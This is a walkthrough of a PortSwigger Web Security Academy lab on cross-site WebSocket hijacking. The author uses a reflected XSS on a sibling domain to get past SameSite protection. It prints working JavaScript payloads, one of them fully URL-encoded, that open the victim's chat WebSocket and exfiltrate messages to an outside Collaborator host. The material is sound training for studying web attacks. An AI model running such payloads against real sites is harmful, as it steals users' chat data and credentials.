TL;DR

  1. Examine the attachments and external resources to find the sibling-domain (favicon gets the job done).
  2. Access the sibling domain and notice the login feature is vulnerable to xss. The sibling domain is on the same domain as our target, and the SameSite policy even set as strict can be bypassed if used to target the main scope.
  3. Craft a payload to trigger a websocket handshake and retrieve the history using the READY keyword. Trigger it on yourself to make sure it’s working and send the output to a collaborator.
  4. Adapt the payload by URL encoding it and wrap it inside the script body of the request.
  5. Deliver it to the victim, retrieve the history in the collaborator, log as carlos and solve the lab.

Learning Material


Whether you’re testing someone else’s website or trying to secure your own, it’s essential to keep in mind that a request can still be same-site even if it’s issued cross-origin.

Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site’s domains to cross-site attacks.

In addition to classic CSRF, don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to Cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. For more details, see our topic on WebSocket vulnerabilities.

Lab


This lab’s live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim’s account.

To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim’s chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.

If you haven’t done so already, we recommend completing our topic on WebSocket vulnerabilitiesbefore attempting this lab.

Write-up


This challenge was more difficult than the average practitioner lab (maybe just a personal bias). I had no clear objective of what to do, no clear scenario to try. 3 labs for WebSockets and a Rootme challenge isn’t enough to feel comfortable with the topic, I need to do more research on it.

Thinking about the attack scenario

After struggling on the topic for a while, I figured I needed to define a clear exploitation scenario instead of wandering blindly on the lab.

Looking for the sibling domain

Since we’re focusing on bypassing the Same-Site with sibling domain, we should find one in the first place. I tried to look a resources potentially served externally to the website. A common example would be pictures. The pictures themselves weren’t interesting for information :

However, TIL (today I learned) that favicon could be a good resource to check too for these purposes. Why ? Here it is :

Note that the “sibling-domain” specification is accurate since it’s not a sub-domain. Classic subdomain enumeration wouldn’t find this one. So now that we found that sibling domain, I need to go to the gym and I’ll complete this lab right after.

Identifying the XSS

We have our https://cms-0a7b00df046f963280f9a8f900ad00f8.web-security-academy.net/ second domain. We land on a login page, and the output of our username is returned to us :

A simple test with <script>alert(1)</script> confirms we have an XSS on the reflected Username parameter.

Crafting a working payload

For now I’m still working with the POST request for ease of use, I’ll get back to handle the GET format later. The last thing I need to do is trigger a history retrieval on myself to ensure the final payload is working. The following template didn’t work

<script>
  ws = new WebSocket('wss://0aa8007804d2adea837142fc00410028.web-security-academy.net/chat');
ws.send("READY");
ws.onmessage = function handleReply(event) {
    fetch('https://xjk7nos3ratstsrzhpsz99ofv61xpqdf.oastify.com/?'+event.data, {mode: 'no-cors'});
  }
</script>

So I went back to the javascript websocket content sent by the server to examine it further and make sure I could adapt my content.

What we should focus on is this part :

 let newWebSocket = new WebSocket(chatForm.getAttribute("action"));
    newWebSocket.onopen = function (evt) {
        writeMessage("system", "System:", "No chat history on record");
       newWebSocket.send("READY");
        res(newWebSocket);
    }
    newWebSocket.onmessage = function (evt) {
        var message = evt.data;
        if (message === "TYPING") {
            writeMessage("typing", "", "[typing...]")
        } else {
            var messageJson = JSON.parse(message);
            if (messageJson && messageJson['user'] !== "CONNECTED") {
    /*.......

And adapt it to mimic the intended workflow as precisely as possible :

<script>
var websocket = new WebSocket('wss://0a1b0036036a7dca827b29cf00b10087.web-security-academy.net/chat');
 
websocket.onopen = function() {
	websocket.send('READY');
}
 
websocket.onmessage = function(event) {
	fetch('https://1acmpkk8ldo4qc3u5yzt9djc137uvpje.oastify.com/?'+event.data, { mode : 'no-cors'})
}
</script>

send it

We have a working payload now, BUT now we have something to fix before it’s totally operational. Since our payload uses <script></script> and we already use it on for specifying document.location.href in our exploit server, the request parsing will fail. To solve this, we must URL encode our whole payload so it can be used with the exploit server to force the target to send us the content :

<script>
    document.location.href= 'https://cms-0a1b0036036a7dca827b29cf00b10087.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%76%61%72%20%77%65%62%73%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%31%62%30%30%33%36%30%33%36%61%37%64%63%61%38%32%37%62%32%39%63%66%30%30%62%31%30%30%38%37%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%77%65%62%73%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%09%77%65%62%73%6f%63%6b%65%74%2e%73%65%6e%64%28%27%52%45%41%44%59%27%29%3b%0a%7d%0a%0a%77%65%62%73%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%09%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%31%61%63%6d%70%6b%6b%38%6c%64%6f%34%71%63%33%75%35%79%7a%74%39%64%6a%63%31%33%37%75%76%70%6a%65%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%2f%3f%27%2b%65%76%65%6e%74%2e%64%61%74%61%2c%20%7b%20%6d%6f%64%65%20%3a%20%27%6e%6f%2d%63%6f%72%73%27%7d%29%0a%7d%0a%3c%2f%73%63%72%69%70%74%3e&password=rico'
</script>

By delivering it to the victim, we can then retrieve the password and solve the lab.